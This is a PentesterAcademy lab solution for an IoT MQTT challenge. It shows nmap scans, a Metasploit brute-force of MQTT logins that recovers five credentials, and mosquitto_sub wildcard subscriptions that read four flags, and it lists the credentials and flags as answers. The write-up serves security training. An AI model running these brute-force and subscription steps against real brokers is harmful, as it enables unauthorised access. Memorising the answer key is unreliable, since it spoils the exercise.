
ATTACK
DEFENSE
by PentesterAcademy

Name	Broker-Bridge Configuration
URL	https://www.attackdefense.com/challengedetails?cid=569
Type	IoT : MQTT

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Q1. How many MQTT servers are present in the lab ?

Answer: 2

On scanning the subnet, it is clear that ports 1883 and 8883 open on two machines. This means MQTT server is running on two machines.

```
Nmap scan report for 4dx3nlrldi4r76fth56jivt92.temp-network_a-117-173 (192.117.173.3)
Host is up (0.000021s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
1883/tcp open  mqtt
MAC Address: 02:42:C0:75:AD:03 (Unknown)

Nmap scan report for 42i4fe7learccbql4tergjuji.temp-network_a-117-173 (192.117.173.4)
Host is up (0.000022s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
1883/tcp open  mqtt
MAC Address: 02:42:C0:75:AD:04 (Unknown)
```

Q2. Is the setup password protected?

Answer: Yes

On launching a scan with nmap scripts, observe connection rejection from the service.

```
root@attackdefense:~# nmap -p1883 -sV -sC 192.117.173.4
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-25 10:32 UTC
Nmap scan report for 42i4fe7learccbql4tergjuji.temp-network_a-117-173 (192.117.173.4)
Host is up (0.00026s latency).

PORT     STATE SERVICE VERSION
1883/tcp open  mqtt
|_mqtt-subscribe: Connection rejected: Not Authorized
MAC Address: 02:42:C0:75:AD:04 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds
root@attackdefense:~#
```

Q3. There are 5 users present in the system. Find out credentials for these users.

Userfile: /usr/share/wordlists/metasploit/unix_users.txt
Password: /root/wordlists/100-common-passwords.txt

Answer:

- operator/catalina
- root/xbox360
- sysadm/qwert
- system_admin/diamonds
- webmaster/chicago

Solution:

Bruteforce the MQTT authentication against the given username/password lists.

```
msf5 > use auxiliary/scanner/mqtt/connect
msf5 auxiliary(scanner/mqtt/connect) > set RHOSTS 192.117.173.3
RHOSTS => 192.117.173.3
msf5 auxiliary(scanner/mqtt/connect) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
USER_FILE => /usr/share/wordlists/metasploit/unix_users.txt
msf5 auxiliary(scanner/mqtt/connect) > set PASS_FILE wordlists/100-common-passwords.txt
PASS_FILE => wordlists/100-common-passwords.txt
msf5 auxiliary(scanner/mqtt/connect) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/mqtt/connect) > exploit

[+] 192.117.173.3:1883    - MQTT Login Successful: operator/catalina
[+] 192.117.173.3:1883    - MQTT Login Successful: root/xbox360
[+] 192.117.173.3:1883    - MQTT Login Successful: sysadm/qwert
[+] 192.117.173.3:1883    - MQTT Login Successful: system_admin/diamonds
[+] 192.117.173.3:1883    - MQTT Login Successful: webmaster/chicago
[*] 192.117.173.3:1883    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/mqtt/connect) >
```

We found all 5 users.

Q4. There are four flags being pushed to various topics by MQTT clients. Find all four flags?

Answer:
18e446119a6b85dc334f3c61c5a8f43d
4cfda054eab306b1c5c0925fab1fb5b6
cb8b122b03c711887765b6c8d7ba84f4
d2a9ba3fa221bab07a98a94a12e2eeb1

Solution:

Login with each user one by one and find those flags.

```
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u root -P xbox360
flag1 : 18e446119a6b85dc334f3c61c5a8f43d
^C
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u system_admin -P diamonds
flag2 : 4cfda054eab306b1c5c0925fab1fb5b6
^C
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u webmaster -P chicago
Flag 3: cb8b122b03c711887765b6c8d7ba84f4
^C
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u operator -P catalina
Flag 4: d2a9ba3fa221bab07a98a94a12e2eeb1
^C
root@attackdefense:~#
```

Using -v option, will also reveal the topic name on which these messages are being published.

```
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u root -P xbox360 -v
info flag1 : 18e446119a6b85dc334f3c61c5a8f43d
^C
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u system_admin -P diamonds -v
news flag2 : 4cfda054eab306b1c5c0925fab1fb5b6
^C
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u webmaster -P chicago -v
portals Flag 3: cb8b122b03c711887765b6c8d7ba84f4
^C
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# mosquitto_sub -t "#" -h 192.71.215.3 -u operator -P catalina -v
flag Flag 4: d2a9ba3fa221bab07a98a94a12e2eeb1
^C
root@attackdefense:~#
```

This clearly shows that wildcard subscription only applies on those topics on which the user has access.